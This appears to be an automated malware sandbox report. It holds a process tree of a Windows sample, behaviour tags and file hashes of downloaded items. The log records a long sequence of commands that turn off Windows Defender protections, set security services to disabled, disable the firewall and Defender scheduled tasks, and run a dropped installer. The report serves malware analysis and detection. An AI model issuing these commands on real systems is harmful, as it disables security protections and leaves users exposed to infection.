                                                                                                                                              "C:\Windows\system32\reg.exe" add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                                                                                                                                              6⤵
                                                                                                                                                PID:7112
                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                              powershell.exe -command "REG ADD ΓÇ£hklm\software\policies\microsoft\windows defenderΓÇ¥ /v DisableAntiSpyware /t REG_DWORD /d 1 /f"
                                                                                                                                              5⤵
                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                              PID:6608
                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD ΓÇ£hklm\software\policies\microsoft\windows defenderΓÇ¥ /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                                                                                                                                                6⤵
                                                                                                                                                  PID:5116
                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                powershell.exe -command "netsh advfirewall set allprofiles state off"
                                                                                                                                                5⤵
                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                PID:7120
                                                                                                                                                • C:\Windows\system32\netsh.exe
                                                                                                                                                  "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
                                                                                                                                                  6⤵
                                                                                                                                                  • Modifies Windows Firewall
                                                                                                                                                  • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                  PID:4492
                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                                                                                                                                5⤵
                                                                                                                                                • Modifies Windows Defender Real-time Protection settings
                                                                                                                                                PID:4820
                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                                                                                                                                5⤵
                                                                                                                                                • Modifies Windows Defender DisableAntiSpyware settings
                                                                                                                                                PID:6004
                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                                                                                                                                5⤵
                                                                                                                                                  PID:116
                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                                                                                                                                  5⤵
                                                                                                                                                    PID:4680
                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                                                                                                                                    5⤵
                                                                                                                                                    • Modifies Windows Defender Real-time Protection settings
                                                                                                                                                    PID:1252
                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                                                                                                                                    5⤵
                                                                                                                                                    • Modifies Windows Defender Real-time Protection settings
                                                                                                                                                    PID:2056
                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                                                                                                                    5⤵
                                                                                                                                                    • Modifies Windows Defender Real-time Protection settings
                                                                                                                                                    PID:6072
                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                                                                                                                                    5⤵
                                                                                                                                                    • Modifies Windows Defender Real-time Protection settings
                                                                                                                                                    PID:1288
                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                                                                                                                    5⤵
                                                                                                                                                    • Modifies Windows Defender Real-time Protection settings
                                                                                                                                                    PID:3004
                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                                                                                                                    5⤵
                                                                                                                                                      PID:3200
                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                                                                                                                      5⤵
                                                                                                                                                        PID:7164
                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                                                                                                                        5⤵
                                                                                                                                                          PID:6164
                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
                                                                                                                                                          5⤵
                                                                                                                                                            PID:1268
                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                            reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                                                                                                            5⤵
                                                                                                                                                              PID:2172
                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                              reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                                                                                                              5⤵
                                                                                                                                                                PID:5876
                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                                                                                                                                5⤵
                                                                                                                                                                  PID:6252
                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                  schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                                                                                                                                  5⤵
                                                                                                                                                                    PID:3292
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                                                                                                                    5⤵
                                                                                                                                                                      PID:4848
                                                                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                                                                      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                                                                                                                      5⤵
                                                                                                                                                                        PID:5600
                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                                                                                                                        5⤵
                                                                                                                                                                          PID:6484
                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                          reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
                                                                                                                                                                          5⤵
                                                                                                                                                                            PID:5252
                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                            reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
                                                                                                                                                                            5⤵
                                                                                                                                                                              PID:4804
                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                              reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                                                                                                                              5⤵
                                                                                                                                                                                PID:6244
                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                                                                                                                                5⤵
                                                                                                                                                                                  PID:6084
                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                  reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                                                                                                                                  5⤵
                                                                                                                                                                                    PID:6272
                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                                                                                                    5⤵
                                                                                                                                                                                    • Modifies Security services
                                                                                                                                                                                    PID:472
                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                                                                                                    5⤵
                                                                                                                                                                                    • Modifies Security services
                                                                                                                                                                                    PID:6236
                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                                                                                                    5⤵
                                                                                                                                                                                    • Modifies Security services
                                                                                                                                                                                    PID:6328
                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                                                                                                    5⤵
                                                                                                                                                                                    • Modifies Security services
                                                                                                                                                                                    PID:6372
                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                                                                                                    5⤵
                                                                                                                                                                                    • Modifies security service
                                                                                                                                                                                    PID:5244
                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                              C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\x69install.exe
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                                                              PID:3140
                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\x69install.exe
                                                                                                                                                                                C:\Users\Admin\AppData\Roaming\x69install.exe
                                                                                                                                                                                3⤵
                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                PID:1140
                                                                                                                                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                              "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              PID:4676
                                                                                                                                                                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                                                                                                                                3⤵
                                                                                                                                                                                • Checks computer location settings
                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                • Checks whether UAC is enabled
                                                                                                                                                                                • Checks processor information in registry
                                                                                                                                                                                • Modifies Control Panel
                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                • NTFS ADS
                                                                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                • Suspicious use of SendNotifyMessage
                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                PID:3188
                                                                                                                                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1976 -prefsLen 27100 -prefMapHandle 1980 -prefMapSize 270279 -ipcHandle 2068 -initialChannelId {21571c9d-3048-4321-9836-e694bf23e461} -parentPid 3188 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3188" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
                                                                                                                                                                                  4⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  PID:2312
                                                                                                                                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2428 -prefsLen 27136 -prefMapHandle 2432 -prefMapSize 270279 -ipcHandle 2440 -initialChannelId {0edd748a-82c0-4aca-b2b9-fb787fb13589} -parentPid 3188 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3188" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
                                                                                                                                                                                  4⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                  PID:3900
                                                                                                                                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3760 -prefsLen 27277 -prefMapHandle 3764 -prefMapSize 270279 -jsInitHandle 3768 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3776 -initialChannelId {d458b5a4-b9bd-41d8-a284-8dc8eb3b2b80} -parentPid 3188 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3188" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
                                                                                                                                                                                  4⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                  PID:5628
                                                                                                                                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3924 -prefsLen 27277 -prefMapHandle 3928 -prefMapSize 270279 -ipcHandle 4032 -initialChannelId {505e0550-0c60-4cc2-b67c-36a4c6a346a5} -parentPid 3188 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3188" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
                                                                                                                                                                                  4⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  PID:6048
                                                                                                                                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4520 -prefsLen 34776 -prefMapHandle 4528 -prefMapSize 270279 -jsInitHandle 4532 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2984 -initialChannelId {90df4ef6-3010-4d3f-9f14-f3f54ece2a3e} -parentPid 3188 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3188" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
                                                                                                                                                                                  4⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                  PID:4800
                                                                                                                                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5088 -prefsLen 35013 -prefMapHandle 5092 -prefMapSize 270279 -ipcHandle 1504 -initialChannelId {10f2cfd3-048f-4fad-8605-351904c8cf1e} -parentPid 3188 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3188" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
                                                                                                                                                                                  4⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                  PID:6348
                                                                                                                                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2792 -prefsLen 32952 -prefMapHandle 2788 -prefMapSize 270279 -jsInitHandle 5588 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4964 -initialChannelId {833f46d8-5d08-4bcf-97aa-0ab767e614eb} -parentPid 3188 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3188" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
                                                                                                                                                                                  4⤵
                                                                                                                                                                                  • Checks computer location settings
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                  PID:6692
                                                                                                                                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5752 -prefsLen 32952 -prefMapHandle 5756 -prefMapSize 270279 -jsInitHandle 5760 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5768 -initialChannelId {c52553ae-623b-4cf8-abe0-c9caf8df8d81} -parentPid 3188 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3188" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
                                                                                                                                                                                  4⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                  PID:6704
                                                                                                                                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5940 -prefsLen 32952 -prefMapHandle 5944 -prefMapSize 270279 -jsInitHandle 5948 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5956 -initialChannelId {814d3c91-a892-4a30-ad0e-fac83d3d0178} -parentPid 3188 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3188" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
                                                                                                                                                                                  4⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                  PID:6728
                                                                                                                                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2772 -prefsLen 35427 -prefMapHandle 5568 -prefMapSize 270279 -jsInitHandle 4732 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6540 -initialChannelId {fb3dfaa7-d842-4fb9-96c9-1be6c997c09f} -parentPid 3188 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3188" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
                                                                                                                                                                                  4⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                  PID:6744
                                                                                                                                                                            • C:\Users\Admin\Downloads\TCPView\tcpview64.exe
                                                                                                                                                                              "C:\Users\Admin\Downloads\TCPView\tcpview64.exe"
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              • Checks processor information in registry
                                                                                                                                                                              • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                              PID:3288
                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                            C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:3800
                                                                                                                                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:4088
                                                                                                                                                                              • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                                C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:4140
                                                                                                                                                                                • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                  C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:4420
                                                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:5180
                                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:6108
                                                                                                                                                                                      • C:\Windows\System32\svchost.exe
                                                                                                                                                                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:4016
                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                                                                                                          1⤵
                                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                                          PID:6024
                                                                                                                                                                                        • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                                                                                                          "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                                                                                                          1⤵
                                                                                                                                                                                          • Drops file in System32 directory
                                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                                          PID:3660
                                                                                                                                                                                        • C:\Windows\system32\SppExtComObj.exe
                                                                                                                                                                                          C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                                                                                                          1⤵
                                                                                                                                                                                            PID:1492
                                                                                                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                                                                                                            C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:2068
                                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                                                                                              1⤵
                                                                                                                                                                                                PID:4352
                                                                                                                                                                                              • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                  PID:2296
                                                                                                                                                                                                • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
                                                                                                                                                                                                  "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                    PID:3680
                                                                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                      PID:1148
                                                                                                                                                                                                    • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                                                                                      C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                                                                      PID:5964
                                                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                                                                      PID:2212
                                                                                                                                                                                                    • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                                                                                      C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                        PID:1068
                                                                                                                                                                                                      • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                                                                                        C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                          PID:4780
                                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                            PID:1040
                                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                              PID:3704
                                                                                                                                                                                                            • C:\Windows\System32\mousocoreworker.exe
                                                                                                                                                                                                              C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                PID:4432
                                                                                                                                                                                                              • C:\Windows\System32\smartscreen.exe
                                                                                                                                                                                                                C:\Windows\System32\smartscreen.exe -Embedding
                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                  PID:980
                                                                                                                                                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                  • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                                  PID:1840
                                                                                                                                                                                                                • C:\Windows\System32\rundll32.exe
                                                                                                                                                                                                                  C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                    PID:6212
                                                                                                                                                                                                                  • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                                                                                                    C:\Windows\system32\wbem\wmiprvse.exe -Embedding
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                      PID:1796
                                                                                                                                                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                        PID:116
                                                                                                                                                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                          PID:3512
                                                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                                                                          PID:7116

                                                                                                                                                                                                                        Network

                                                                                                                                                                                                                              MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                              Replay Monitor

                                                                                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                                                                                              Downloads

                                                                                                                                                                                                                              • C:\Program Files\7-Zip\Uninstall.exe

                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                31KB

                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                0e07b883a7ca26cc0812609afc7a7eba

                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                d2721c6b4d8b0350b60c89a3bbe1ba582a39d244

                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                093bbea8dfa497fa9229c131aed1ad411def246d223c5a543c48a21102897514

                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                8d5ce6fb77bf346cee66e424fb613b920bca528518908daccf533d255eb04c2d79d1f4d9a9bfa10189ee2ca9f3dc677715dbd58b8d5e88f55cc3e7d061ff2ed1

                                                                                                                                                                                                                              • C:\Program Files\Mozilla Firefox\firefox.exe

                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                667KB

                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                af7223cf9bf7a64090d631c628eba868

                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                7a3f7927c2539bea7a877e1a966304302a093139

                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                81a0316cd0efdad79c3f268a0e25a6e7133e9ad6ebf970fe0db36cd4e87ff849

                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                f33a766daaaf593c22cd3dca277d4a62203280195496e2015ac1e5b7aaade0eb9af67b7f9596c206e04be2aea856b86f70d113ffb9aadeb15517e943daed410c

                                                                                                                                                                                                                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                330B

                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                3d7aabead99f8006f55d29ad5549f4b6

                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                eb2f886aea6f59f54c263b898eb8d8fb17cd070f

                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                010451b7bb5644ec1a54c4252b1f2fe4019082f4b6051a03cd06041ea13511bc

                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                4dedcc3ee523ce2c6fd3303732f8166238535c888ab6a4b6ac0b4c8a64605c07d6db322d06b1eace61618ce9e43218a0c05cdddc78532234135f25259e71275c

                                                                                                                                                                                                                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749

                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                330B

                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                e675c656c722f9c64a956ac246d95797

                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                cacd8e4a0b6b1e3d4f106e8871539f1b3dc5a00b

                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                450b4f859a775b541df88980ae5921b87b941ec6507dca22a328b044a8fcd986

                                                                                                                                                                                                                                SHA512

